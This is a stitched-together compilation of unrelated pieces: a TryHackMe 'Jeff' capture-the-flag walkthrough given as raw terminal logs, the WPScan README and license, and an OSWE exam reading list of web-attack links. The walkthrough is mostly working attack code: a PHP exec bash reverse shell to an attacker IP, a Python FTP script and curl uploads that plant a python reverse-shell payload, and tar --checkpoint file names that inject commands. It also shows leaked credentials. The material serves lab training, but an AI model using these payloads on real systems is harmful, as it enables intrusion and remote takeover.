kali@kali:~/CTFs/tryhackme/Jeff$ cat backup/wpadmin.bak
wordpress password is: phO#g)C5dhIWZn3BKP
```
```
kali@kali:~/CTFs/tryhackme/Jeff$ gobuster vhost -u http://jeff.thm -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://jeff.thm
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] User Agent: gobuster/3.0.1
[+] Timeout: 10s
===============================================================
2020/10/17 13:23:32 Starting gobuster
===============================================================
Found: wordpress.jeff.thm (Status: 200) [Size: 25901]
===============================================================
2020/10/17 13:23:51 Finished
===============================================================
kali@kali:~/CTFs/tryhackme/Jeff$ sudo nano /etc/hosts
```
```
kali@kali:~/CTFs/tryhackme/Jeff$ wpscan --url http://wordpress.jeff.thm -e u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[i] It seems like you have not updated the database for some time.
[?] Do you want to update now? [Y]es [N]o, default: [N]Y
[i] Updating the Database ...
[i] Update completed.
[+] URL: http://wordpress.jeff.thm/ [10.10.8.137]
[+] Started: Sat Oct 17 13:25:32 2020
Interesting Finding(s):
[+] Headers
| Interesting Entries:
| - Server: nginx
| - X-Powered-By: PHP/7.3.17
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://wordpress.jeff.thm/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://wordpress.jeff.thm/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] The external WP-Cron seems to be enabled: http://wordpress.jeff.thm/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 5.4.1 identified (Insecure, released on 2020-04-29).
| Found By: Rss Generator (Passive Detection)
| - http://wordpress.jeff.thm/?feed=rss2, <generator>https://wordpress.org/?v=5.4.1</generator>
| - http://wordpress.jeff.thm/?feed=comments-rss2, <generator>https://wordpress.org/?v=5.4.1</generator>
[+] WordPress theme in use: twentytwenty
| Location: http://wordpress.jeff.thm/wp-content/themes/twentytwenty/
| Last Updated: 2020-08-11T00:00:00.000Z
| Readme: http://wordpress.jeff.thm/wp-content/themes/twentytwenty/readme.txt
| [!] The version is out of date, the latest version is 1.5
| Style URL: http://wordpress.jeff.thm/wp-content/themes/twentytwenty/style.css?ver=1.2
| Style Name: Twenty Twenty
| Style URI: https://wordpress.org/themes/twentytwenty/
| Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.2 (80% confidence)
| Found By: Style (Passive Detection)
| - http://wordpress.jeff.thm/wp-content/themes/twentytwenty/style.css?ver=1.2, Match: 'Version: 1.2'
[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00 <===================================================================================================================> (10 / 10) 100.00% Time: 00:00:00
[i] User(s) Identified:
[+] jeff
| Found By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Sat Oct 17 13:25:42 2020
[+] Requests Done: 60
[+] Cached Requests: 6
[+] Data Sent: 12.886 KB
[+] Data Received: 12.99 MB
[+] Memory used: 177.816 MB
[+] Elapsed time: 00:00:10
```
`exec("/bin/bash -c 'bash -i >& /dev/tcp/10.8.106.222/9001 0>&1'");`
```
www-data@Jeff:/var/www/html$ ls -la
ls -la
total 228
drwxr-xr-x 5 www-data www-data 4096 Oct 17 11:12 .
drwxr-xr-x 1 root root 4096 Apr 23 16:34 ..
-rw-r--r-- 1 www-data www-data 261 May 14 16:54 .htaccess
-rw-r--r-- 1 root root 575 May 18 11:57 ftp_backup.php
-rw-r--r-- 1 www-data www-data 405 Feb 6 2020 index.php
-rw-r--r-- 1 www-data www-data 19915 Feb 12 2020 license.txt
-rw-r--r-- 1 www-data www-data 7278 Jan 10 2020 readme.html
-rw-r--r-- 1 www-data www-data 6912 Feb 6 2020 wp-activate.php
drwxr-xr-x 9 www-data www-data 4096 Apr 29 18:58 wp-admin
-rw-r--r-- 1 www-data www-data 351 Feb 6 2020 wp-blog-header.php
-rw-r--r-- 1 www-data www-data 2275 Feb 6 2020 wp-comments-post.php
-rw-r--r-- 1 www-data www-data 2823 Oct 17 11:12 wp-config-sample.php
-rw-r--r-- 1 www-data www-data 3198 Oct 17 11:12 wp-config.php
drwxr-xr-x 4 www-data www-data 4096 Oct 17 11:29 wp-content
-rw-r--r-- 1 www-data www-data 3940 Feb 6 2020 wp-cron.php
drwxr-xr-x 21 www-data www-data 12288 Apr 29 18:58 wp-includes
-rw-r--r-- 1 www-data www-data 2496 Feb 6 2020 wp-links-opml.php
-rw-r--r-- 1 www-data www-data 3300 Feb 6 2020 wp-load.php
-rw-r--r-- 1 www-data www-data 47874 Feb 10 2020 wp-login.php
-rw-r--r-- 1 www-data www-data 8509 Apr 14 2020 wp-mail.php
-rw-r--r-- 1 www-data www-data 19396 Apr 10 2020 wp-settings.php
-rw-r--r-- 1 www-data www-data 31111 Feb 6 2020 wp-signup.php
-rw-r--r-- 1 www-data www-data 4755 Feb 6 2020 wp-trackback.php
-rw-r--r-- 1 www-data www-data 3133 Feb 6 2020 xmlrpc.php
```
```
www-data@Jeff:/var/www/html$ cat ftp_backup.php
cat ftp_backup.php
```
```php
<?php
/*
Todo: I need to finish coding this database backup script.
also maybe convert it to a wordpress plugin in the future.
*/
$dbFile = 'db_backup/backup.sql';
$ftpFile = 'backup.sql';
$username = "backupmgr";
$password = "SuperS1ckP4ssw0rd123!";
$ftp = ftp_connect("172.20.0.1"); // todo, set up /etc/hosts for the container host
if( ! ftp_login($ftp, $username, $password) ){
die("FTP Login failed.");
}
$msg = "Upload failed";
if (ftp_put($ftp, $remote_file, $file, FTP_ASCII)) {
$msg = "$file was uploaded.\n";
}
echo $msg;
ftp_close($conn_id);
```
```py
#!/usr/bin/env python3.7
from ftplib import FTP
import io
host = '172.20.0.1'
username = "backupmgr"
password = "SuperS1ckP4ssw0rd123!"
ftp = FTP(host = host)
login_status = ftp.login(user = username,passwd = password)
print(login_status)
ftp.set_pasv(False)
ftp.cwd('files')
print(ftp.dir())
shell = io.BytesIO(b'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.106.222",9002));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')
trash = io.BytesIO(b'')
ftp.storlines('STOR shell.sh',shell)
ftp.storlines('STOR --checkpoint=1',trash)
ftp.storlines('STOR --checkpoint-action=exec=sh shell.sh',trash)
ftp.dir()
ftp.quit()
```
```
www-data@Jeff:/tmp$ wget 10.8.106.222/shell.py
wget 10.8.106.222/shell.py
--2020-10-17 12:01:19-- http://10.8.106.222/shell.py
Connecting to 10.8.106.222:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 739 [text/plain]
Saving to: 'shell.py'
0K 100% 6.69M=0s
2020-10-17 12:01:19 (6.69 MB/s) - 'shell.py' saved [739/739]
www-data@Jeff:/tmp$ chmod +x shell.py
chmod +x shell.py
www-data@Jeff:/tmp$ python3.7 shell.py
python3.7 shell.py
230 Login successful.
-rwxr-xr-x 1 1001 1001 0 Oct 17 11:59 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x 1 1001 1001 0 Oct 17 11:59 --checkpoint=1
-rwxr-xr-x 1 1001 1001 228 Oct 17 11:59 shell.sh
None
-rwxr-xr-x 1 1001 1001 0 Oct 17 12:01 --checkpoint-action=exec=sh shell.sh
-rwxr-xr-x 1 1001 1001 0 Oct 17 12:01 --checkpoint=1
-rwxr-xr-x 1 1001 1001 228 Oct 17 12:01 shell.sh
www-data@Jeff:/tmp$
```
`curl -P - 'ftp://backupmgr:[email protected]/files/' -s`
```
echo "python3.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.106.222\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" > shell.sh
echo "" > "/tmp/--checkpoint=1"
echo "" > "/tmp/--checkpoint-action=exec=sh shell.sh"
And now, let’s upload them to the remote location:
curl -v -P - -T "/tmp/shell.sh" 'ftp://backupmgr:[email protected]/files/'
curl -v -P - -T "/tmp/--checkpoint=1" 'ftp://backupmgr:[email protected]/files/'
curl -v -P - -T "/tmp/--checkpoint-action=exec=sh shell.sh" 'ftp://backupmgr:[email protected]/files/'
```
1. Hack the machine and obtain the user.txt flag.
2. Escalate your privileges, whats the root flag?
|
<p align="center">
<a href="https://wpscan.org/">
<img src="https://raw.githubusercontent.com/wpscanteam/wpscan/gh-pages/images/wpscan_logo.png" alt="WPScan logo">
</a>
</p>
<h3 align="center">WPScan</h3>
<p align="center">
WordPress Vulnerability Scanner
<br>
<br>
<a href="https://wpscan.org/" title="homepage" target="_blank">Homepage</a> - <a href="https://wpscan.io/" title="wpscan.io" target="_blank">WPScan.io</a> - <a href="https://wpvulndb.com/" title="vulnerability database" target="_blank">Vulnerability Database</a> - <a href="https://wordpress.org/plugins/wpscan/" title="wordpress plugin" target="_blank">WordPress Plugin</a>
</p>
<p align="center">
<a href="https://badge.fury.io/rb/wpscan" target="_blank"><img src="https://badge.fury.io/rb/wpscan.svg"></a>
<a href="https://github.com/wpscanteam/wpscan/actions?query=workflow%3ABuild" target="_blank"><img src="https://github.com/wpscanteam/wpscan/workflows/Build/badge.svg"></a>
<a href="https://codeclimate.com/github/wpscanteam/wpscan" target="_blank"><img src="https://codeclimate.com/github/wpscanteam/wpscan/badges/gpa.svg"></a>
</p>
# INSTALL
## Prerequisites
- (Optional but highly recommended: [RVM](https://rvm.io/rvm/install))
- Ruby >= 2.3 - Recommended: latest
- Ruby 2.5.0 to 2.5.3 can cause an 'undefined symbol: rmpd_util_str_to_d' error in some systems, see [#1283](https://github.com/wpscanteam/wpscan/issues/1283)
- Curl >= 7.21 - Recommended: latest
- The 7.29 has a segfault
- RubyGems - Recommended: latest
- Nokogiri might require packages to be installed via your package manager depending on your OS, see https://nokogiri.org/tutorials/installing_nokogiri.html
### From RubyGems (Recommended)
```shell
gem install wpscan
```
On MacOSX, if a ```Gem::FilePermissionError``` is raised due to the Apple's System Integrity Protection (SIP), either install RVM and install wpscan again, or run ```sudo gem install -n /usr/local/bin wpscan``` (see [#1286](https://github.com/wpscanteam/wpscan/issues/1286))
### From sources (NOT Recommended)
Prerequisites: Git
```shell
git clone https://github.com/wpscanteam/wpscan
cd wpscan/
bundle install && rake install
```
# Updating
You can update the local database by using ```wpscan --update```
Updating WPScan itself is either done via ```gem update wpscan``` or the packages manager (this is quite important for distributions such as in Kali Linux: ```apt-get update && apt-get upgrade```) depending how WPScan was (pre)installed
# Docker
Pull the repo with ```docker pull wpscanteam/wpscan```
Enumerating usernames
```shell
docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u
```
Enumerating a range of usernames
```shell
docker run -it --rm wpscanteam/wpscan --url https://target.tld/ --enumerate u1-100
```
** replace u1-100 with a range of your choice.
# Usage
```wpscan --url blog.tld``` This will scan the blog using default options with a good compromise between speed and accuracy. For example, the plugins will be checked passively but their version with a mixed detection mode (passively + aggressively). Potential config backup files will also be checked, along with other interesting findings.
If a more stealthy approach is required, then ```wpscan --stealthy --url blog.tld``` can be used.
As a result, when using the ```--enumerate``` option, don't forget to set the ```--plugins-detection``` accordingly, as its default is 'passive'.
For more options, open a terminal and type ```wpscan --help``` (if you built wpscan from the source, you should type the command outside of the git repo)
The DB is located at ~/.wpscan/db
## Vulnerability Database
The WPScan CLI tool uses the [WPVulnDB API](https://wpvulndb.com/api) to retrieve WordPress vulnerability data in real time. For WPScan to retrieve the vulnerability data an API token must be supplied via the `--api-token` option, or via a configuration file, as discussed below. An API token can be obtained by registering an account on [WPVulnDB](https://wpvulndb.com/users/sign_up). Up to 50 API requests per day are given free of charge to registered users. Once the 50 API requests are exhausted, WPScan will continue to work as normal but without any vulnerability data. Users can upgrade to paid API usage to increase their API limits within their user profile on [WPVulnDB](https://wpvulndb.com/).
## Load CLI options from file/s
WPScan can load all options (including the --url) from configuration files, the following locations are checked (order: first to last):
- ~/.wpscan/scan.json
- ~/.wpscan/scan.yml
- pwd/.wpscan/scan.json
- pwd/.wpscan/scan.yml
If those files exist, options from the `cli_options` key will be loaded and overridden if found twice.
e.g:
~/.wpscan/scan.yml:
```yml
cli_options:
proxy: 'http://127.0.0.1:8080'
verbose: true
```
pwd/.wpscan/scan.yml:
```yml
cli_options:
proxy: 'socks5://127.0.0.1:9090'
url: 'http://target.tld'
```
Running ```wpscan``` in the current directory (pwd), is the same as ```wpscan -v --proxy socks5://127.0.0.1:9090 --url http://target.tld```
## Save API Token in a file
The feature mentioned above is useful to keep the API Token in a config file and not have to supply it via the CLI each time. To do so, create the ~/.wpscan/scan.yml file containing the below:
```yml
cli_options:
api_token: YOUR_API_TOKEN
```
## Load API Token From ENV (since v3.7.10)
The API Token will be automatically loaded from the ENV variable `WPSCAN_API_TOKEN` if present. If the `--api-token` CLI option is also provided, the value from the CLI will be used.
## Enumerating usernames
```shell
wpscan --url https://target.tld/ --enumerate u
```
Enumerating a range of usernames
```shell
wpscan --url https://target.tld/ --enumerate u1-100
```
** replace u1-100 with a range of your choice.
# LICENSE
## WPScan Public Source License
The WPScan software (henceforth referred to simply as "WPScan") is dual-licensed - Copyright 2011-2019 WPScan Team.
Cases that include commercialization of WPScan require a commercial, non-free license. Otherwise, WPScan can be used without charge under the terms set out below.
### 1. Definitions
1.1 "License" means this document.
1.2 "Contributor" means each individual or legal entity that creates, contributes to the creation of, or owns WPScan.
1.3 "WPScan Team" means WPScan’s core developers.
### 2. Commercialization
A commercial use is one intended for commercial advantage or monetary compensation.
Example cases of commercialization are:
- Using WPScan to provide commercial managed/Software-as-a-Service services.
- Distributing WPScan as a commercial product or as part of one.
- Using WPScan as a value added service/product.
Example cases which do not require a commercial license, and thus fall under the terms set out below, include (but are not limited to):
- Penetration testers (or penetration testing organizations) using WPScan as part of their assessment toolkit.
- Penetration Testing Linux Distributions including but not limited to Kali Linux, SamuraiWTF, BackBox Linux.
- Using WPScan to test your own systems.
- Any non-commercial use of WPScan.
If you need to purchase a commercial license or are unsure whether you need to purchase a commercial license contact us - [email protected].
Free-use Terms and Conditions;
### 3. Redistribution
Redistribution is permitted under the following conditions:
- Unmodified License is provided with WPScan.
- Unmodified Copyright notices are provided with WPScan.
- Does not conflict with the commercialization clause.
### 4. Copying
Copying is permitted so long as it does not conflict with the Redistribution clause.
### 5. Modification
Modification is permitted so long as it does not conflict with the Redistribution clause.
### 6. Contributions
Any Contributions assume the Contributor grants the WPScan Team the unlimited, non-exclusive right to reuse, modify and relicense the Contributor's content.
### 7. Support
WPScan is provided under an AS-IS basis and without any support, updates or maintenance. Support, updates and maintenance may be given according to the sole discretion of the WPScan Team.
### 8. Disclaimer of Warranty
WPScan is provided under this License on an “as is” basis, without warranty of any kind, either expressed, implied, or statutory, including, without limitation, warranties that the WPScan is free of defects, merchantable, fit for a particular purpose or non-infringing.
### 9. Limitation of Liability
To the extent permitted under Law, WPScan is provided under an AS-IS basis. The WPScan Team shall never, and without any limit, be liable for any damage, cost, expense or any other payment incurred as a result of WPScan's actions, failure, bugs and/or any other interaction between WPScan and end-equipment, computers, other software or any 3rd party, end-equipment, computer or services.
### 10. Disclaimer
Running WPScan against websites without prior mutual consent may be illegal in your country. The WPScan Team accept no liability and are not responsible for any misuse or damage caused by WPScan.
### 11. Trademark
The "wpscan" term is a registered trademark. This License does not grant the use of the "wpscan" trademark or the use of the WPScan logo.
|
# oswe_preparation
## Curated List
The following Links are curated from Below Sources.
| Name | URL |
| ------ | ------ |
| M507 | [Github](https://github.com/M507/AWAE-Preparation/) |
| Z-r0crypt OSWE/AWAE Preparation | [Blog](https://z-r0crypt.github.io/blog/2020/01/22/oswe/awae-preparation/) |
| AWAE - OSWE Preparation / Resources | [Gitbook](https://jorgectf.gitbook.io/awae-oswe-preparation-resources/) |
| HTB and Vulnhub: An OSWE Approach | [Blog](https://klezvirus.github.io/Misc/HTB-VH-OSWE/) |
# reading
# oswe_preparation
# Advanced Web Attacks & Exploitation
All efforts for the AWAE course and preparation for the Offensive Security Web Expert (OSWE) exam.
## To Read
## Cross-Site Scripting:
* [ ] https://xhr.spec.whatwg.org/
## Session Hijacking
* [ ] https://popped.io/hijacking-sessions-using-socat/
* [ ] https://pentesterlab.com/exercises/xss_and_mysql_file/course
## Persistent Cross-Site Scripting
* [ ] https://www.acunetix.com/blog/articles/persistent-xss/
* [ ] https://portswigger.net/web-security/cross-site-scripting
## Cross-Site Request Forgery
* [ ] https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
* [ ] XSS and MySQL
* [ ] https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/
## Bypassing File Upload Restrictions:
* [ ] https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf
* [ ] http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html
* [ ] https://www.owasp.org/index.php/Unrestricted_File_Upload
* [ ] Popcorn machine from HackTheBox
* [ ] Vault machine from HackTheBox
* [ ] [[Paper] File Upload Restrictions
Bypass](https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf)
* [ ] [Shell the web - Methods of a
Ninja](http://www.securityidiots.com/Web-Pentest/hacking-website-by-shell-uploading.html)
* [ ] [Unrestricted File
Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload)
* [ ] [Atlassian Crowd Pre-auth
RCE](https://www.corben.io/atlassian-crowd-rce/)
* [ ] [Popcorn machine from
HackTheBox](https://www.youtube.com/watch?v=NMGsnPSm8iw)
* [ ] [Vault machine from
HackTheBox](https://www.youtube.com/watch?v=LfbwlPxToBc)
## Websocekts InSecurity
* [ ] [Introduction to
WebSockets](https://portswigger.net/web-security/websockets)
* [ ] [[Video] Hacking with Websocket -
BlackHat](https://www.youtube.com/watch?v=-ALjHUqSz_Y)
* [ ] [Remote Hardware takeover via Websocket
Hijacking](https://www.netsparker.com/blog/web-security/remote-hardware-takeover-via-vulnerable-admin-software/)
* [ ] [Cross-Site WebSocket Hijacking to full Session
Compromise](https://www.notsosecure.com/how-cross-site-websocket-hijacking-could-lead-to-full-session-compromise/)
## Source Code Audit
* [ ] [Introduction to Code Review
[PentesterLab]](https://pentesterlab.com/exercises/codereview/course)
* [ ] [Static code analysis
writeups](https://shells.systems/category/static-code-analysis/)
* [ ] [TrendMicro - Secure Coding
Dojo](https://trendmicro.github.io/SecureCodingDojo/codereview101/)
* [ ] [Bug Hunting with Static Code Analysis
[Video]](https://www.youtube.com/watch?v=Sb011qfbMkQ)
* [ ] [Shopify Remote Code Execution -
Hackerone](https://prakhar.prasad.pro/blog/shopify-remote-code-execution/)
* [ ] [Finding vulnerabilities in source code (
APS.NET)](https://hydrasky.com/network-security/finding-vulnerabilities-in-source-code-aps-net/)
* [ ] [A deep dive into ASP.NET
Deserialization](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
* [ ] [Writeups by mr\_me](https://srcincite.io/blog/)
## PHP Type Juggling:
* [ ] https://www.owasp.org/images/6/6b/PHPMagicTricks-TypeJuggling.pdf
* [ ] https://medium.com/@Q2hpY2tlblB3bnk/php-type-juggling-c34a10630b10
* [ ] https://foxglovesecurity.com/2017/02/07/type-juggling-and-php-object-injection-and-sqli-oh-my/
* [ ] https://www.netsparker.com/blog/web-security/php-type-juggling-vulnerabilities/
* [ ] http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html
* [ ] https://www.netsparker.com/blog/web-security/type-juggling-authentication-bypass-cms-made-simple/
* [ ] https://www.php.net/manual/en/types.comparisons.php
* [ ] https://github.com/spaze/hashes
* [ ] https://www.whitehatsec.com/blog/magic-hashes/
* [ ] Falafel machine from HackTheBox
* [ ] [OWASP - PHPMagicTricks
TypeJuggling](https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf)
* [ ] [PHP Type Juggling -
Introduction](https://medium.com/@Q2hpY2tlblB3bnk/php-type-juggling-c34a10630b10)
* [ ] [Type Juggling, PHP Object Injection,
SQLi](https://foxglovesecurity.com/2017/02/07/type-juggling-and-php-object-injection-and-sqli-oh-my/)
* [ ] [Writing Exploits For PHP Type
Juggling](http://turbochaos.blogspot.com/2013/08/exploiting-exotic-bugs-php-type-juggling.html)
* [ ] [Type Juggling Authentication Bypass Vulnerability in CMS Made
Simple](https://www.netsparker.com/blog/web-security/type-juggling-authentication-bypass-cms-made-simple/)
* [ ] [PHP Magic
Hashes](https://www.whitehatsec.com/blog/magic-hashes/)
* [ ] [Detailed Explanation of PHP Type Juggling
Vulnerabilities](https://www.netsparker.com/blog/web-security/php-type-juggling-vulnerabilities/)
* [ ] [[Video] PHP Type Juggling Vulnerabilities,
Netsparker](https://www.youtube.com/watch?v=ASYuK01H3Po)
* [ ] [[Video] Falafel machine from
HackTheBox](https://www.youtube.com/watch?v=CUbWpteTfio)
## JavaScript Injection:
* [ ] https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html
* [ ] https://capacitorset.github.io/mathjs/
* [ ] [Server Side JS
Injection](https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html)
* [ ] [Remote Code Execution in
math.js](https://capacitorset.github.io/mathjs/)
* [ ] [Arbitrary code execution in
fast-redact](https://itnext.io/how-i-exploited-a-remote-code-execution-vulnerability-in-fast-redact-9e69fa35572f)
* [ ] [NVIDIA GeForce Experience OS Command Injection -
CVE-2019-5678](https://rhinosecuritylabs.com/application-security/nvidia-rce-cve-2019-5678/)
* [ ] [SetTimeout and SetInterval use eval therefore are
evil](https://idiallo.com/javascript/settimeout-and-setinterval-and-setevil)
* [ ] [Pentesting Node.js Application : Nodejs Application
Security](https://www.websecgeeks.com/2017/04/pentesting-nodejs-application-nodejs.html)
* [ ] [NodeJS remote debugging with
vscode](https://maikthulhu.github.io/2019-05-17-remote-debugging-node-vscode/)
* [ ] [Escape NodeJS
Sandboxes](https://blog.netspi.com/escape-nodejs-sandboxes/)
## NodeJS:
* [ ] https://maikthulhu.github.io/2019-05-17-remote-debugging-node-vscode/
* [ ] https://github.com/ajinabraham/Node.Js-Security-Course
* [ ] https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/
* [ ] https://www.yeahhub.com/nodejs-deserialization-attack-detailed-tutorial-2018/
* [ ] Celestial machine from HackTheBox
## SQLi:
* [ ] [RCE with SQL Injection -
MSSQL](https://medium.com/@notsoshant/a-not-so-blind-rce-with-sql-injection-13838026331e)
* [ ] [SQL Injection to LFI to RCE -
MySQL](https://medium.com/bugbountywriteup/sql-injection-to-lfi-to-rce-536bed29a862)
* [ ] [From SQLi to SHELL (I and II) -
PentesterLab](https://pentesterlab.com/exercises/from_sqli_to_shell_II/course)
* [ ] [Pre-Auth Takeover of OXID
eShops](https://blog.ripstech.com/2019/oxid-esales-shop-software/)
* [ ] [Blind SQL
Injection](https://www.acunetix.com/websitesecurity/blind-sql-injection/)
* [ ] [[Paper] PostgreSQL
Injection](https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf)
* [ ] [Having Fun With
PostgreSQL](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)
* [ ] [Blind Postgresql Sql Injection
Tutorial](https://dotcppfile.wordpress.com/2014/07/12/blind-postgresql-sql-injection-tutorial/)
* [ ] [SQL Injection Cheat Sheet -
PentestMonkey](http://pentestmonkey.net/category/cheat-sheet/sql-injection)
* [ ] [SQL Injection Cheat Sheet -
PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
* [ ] [Exploiting H2 SQL injection to
RCE](https://blog.ripstech.com/2019/dotcms515-sqli-to-rce/) \
* [ ] https://pentesterlab.com/exercises/from_sqli_to_shell/course
* [ ] https://www.acunetix.com/websitesecurity/blind-sql-injection/
## PostgreSQL
* [ ] http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet
* [ ] http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt
* [ ] https://www.exploit-db.com/papers/13084
* [ ] http://www.postgresqltutorial.com/postgresql-string-functions/
* [ ] https://www.linuxtopia.org/online_books/database_guides/Practical_PostgreSQL_database/c7547_002.htm
* [ ] https://www.infigo.hr/files/INFIGO-TD-2009-04_PostgreSQL_injection_ENG.pdf
* [ ] https://dotcppfile.wordpress.com/2014/07/12/blind-postgresql-sql-injection-tutorial/
## XML External Entity (XXE) Attack
* [ ] [A Deep Dive into XXE
Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/)
* [ ] [From XXE to RCE: Pwn2Win CTF 2018
Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
* [ ] [Blind XXE to
RCE](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce)
* [ ] [Apache Flex BlazeDS XXE
Vulnerabilty](https://codewhitesec.blogspot.com/2015/08/cve-2015-3269-apache-flex-blazeds-xxe.html)
* [ ] [WebLogic EJBTaglibDescriptor
XXE](https://medium.com/@knownsec404team/weblogic-ejbtaglibdescriptor-xxe-vulnerability-analysis-cve-2019-2888-bd649f5fcfa6)
## Server Side Template Injection (SSTI)
* [ ] [[Portswigger Research] Server Side Template
Injection](https://portswigger.net/research/server-side-template-injection)
* [ ] [[Video] SSTI : RCE For The Modern Web App -
albinowax](https://www.youtube.com/watch?v=3cT0uE7Y87s)
* [ ] [Server Side Template
Injection](https://medium.com/server-side-template-injection/server-side-template-injection-faf88d0c7f34)
* [ ] [Jinja2 template injection filter
bypasses](https://0day.work/jinja2-template-injection-filter-bypasses/)
* [ ] [Exploitation of Server Side Template Injection with Craft CMS
plugin SEOmatic
\<=3.1.3](http://ha.cker.info/exploitation-of-server-side-template-injection-with-craft-cms-plguin-seomatic/)
## Long Readings:
* [ ] Use of Deserialization in .NET Framework Methods and Classes. https://www.nccgroup.trust/globalassets/our-research/uk/images/whitepaper-new.pdf
* [ ] https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf
## Password Reset Vulnerability
* [ ] [Testing Password rest
functionalities](http://imranparay.blogspot.com/2018/09/testing-password-reset-functionalities.html)
* [ ] [OWASP - Forgot Password
Cheatsheet](https://cheatsheetseries.owasp.org/cheatsheets/Forgot_Password_Cheat_Sheet.html)
* [ ] [How we hacked multiple user accounts using weak reset tokens
for
passwords](https://blog.appsecco.com/mass-account-pwning-or-how-we-hacked-multiple-user-accounts-using-weak-reset-tokens-for-passwords-c2d6c0831377)
# OSWE Lab Machine Based
#### Authentication Bypass to RCE
* [ ] [ATutor 2.2.1 Authentication
Bypass](https://rebraws.github.io/ATutorAuthBypass/)
* [ ] [ATutor LMS password\_reminder TOCTOU Authentication
Bypass](https://srcincite.io/advisories/src-2016-0009/)
* [ ] [ATutor 2.2.1 - Directory Traversal / Remote Code
Execution](https://www.exploit-db.com/exploits/39639)
* [ ] [Cubecart Admin Authentication
Bypass](https://blog.ripstech.com/2018/cubecart-admin-authentication-bypass/)
* [ ] [Trendmicro smart protection bypass to
RCE](https://underdefense.com/n-day-exploit-development-and-upgrade-to-rce/)
#### XSS to RCE
* [ ] [AtMail Email Server Appliance 6.4 - Persistent Cross-Site
Scripting](https://www.exploit-db.com/exploits/20009)
* [ ] [Chaining XSS, CSRF to achieve
RCE](https://rhinosecuritylabs.com/application-security/labkey-server-vulnerabilities-to-rce/)
* [ ] [Code analysis to gaining
RCE](https://sarthaksaini.com/2019/awae/xss-rce.html)
* [ ] [Magento 2.3.1: Unauthenticated Stored XSS to
RCE](https://blog.ripstech.com/2019/magento-rce-via-xss/)
* [ ] [Mybb 18.20 From Stored XSS to
RCE](https://medium.com/@knownsec404team/the-analysis-of-mybb-18-20-from-stored-xss-to-rce-7234d7cc0e72)
# oswe_preparation
# Advanced Web Attacks & Exploitation
All efforts for the AWAE course and preparation for the Offensive Security Web Expert (OSWE) exam.
